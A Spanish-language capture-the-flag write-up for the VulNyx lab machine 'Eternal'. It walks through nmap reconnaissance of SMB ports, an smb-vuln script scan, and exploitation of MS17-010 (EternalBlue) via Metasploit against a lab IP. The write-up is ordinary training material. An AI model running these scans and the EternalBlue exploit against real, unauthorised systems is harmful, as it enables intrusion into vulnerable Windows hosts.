> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/vulnyx/eternal.md).

# Eternal

🔍 Dificultad: Muy Fácil

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.70
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F6RrhxSpV2tm2ox7Agbg2%2Fimage.png?alt=media&amp;token=6a4c55a9-3795-41d8-b657-bc13aeba1deb" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.70 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnskvF1pOtRtRJFMATDrd%2Fimage.png?alt=media&amp;token=d7cf559f-237b-4367-819b-d8dfff04aec9" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo, los **puertos 135, 139, 445, 5357**, y varios puertos en el rango 49152-49157 están abiertos. Estos pertenecen a los servicios de **Microsoft RPC, NetBIOS-SSN, Microsoft-DS, WSDAPI**, y puertos desconocidos, por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p135,139,445,5357 -v 192.168.1.70
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FoE4HzjIZzyLgSn0gJiom%2Fimage.png?alt=media&amp;token=25c190c1-7735-4256-ac06-f3b3a2e8dbd6" alt=""><figcaption></figcaption></figure>

Estamos ante un Windows 7. Revisamos el puerto 445.

```bash
nmap -p445 --script="smb-vuln-*" 192.168.1.70
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fq7AKBW21MdYCcKRVFcnk%2Fimage.png?alt=media&amp;token=5273b52e-994c-41d4-b91c-2dcbfc95c028" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Vamos explotar MS17-010 con Metasploit conocida como EternalBlue.

```bash
set RHOSTS 192.168.1.70
exploit
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fmp74XSUbaoyVTwWN4RAQ%2Fimage.png?alt=media&amp;token=8e401878-12a8-4342-bc2a-e1fdca915667" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
getuid
```

aún somos **root.**

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FeYhD3jRxLakOCTfmBgVX%2Fimage.png?alt=media&amp;token=434d249b-0c34-43f1-b16c-a33386e37e65" alt=""><figcaption></figcaption></figure>
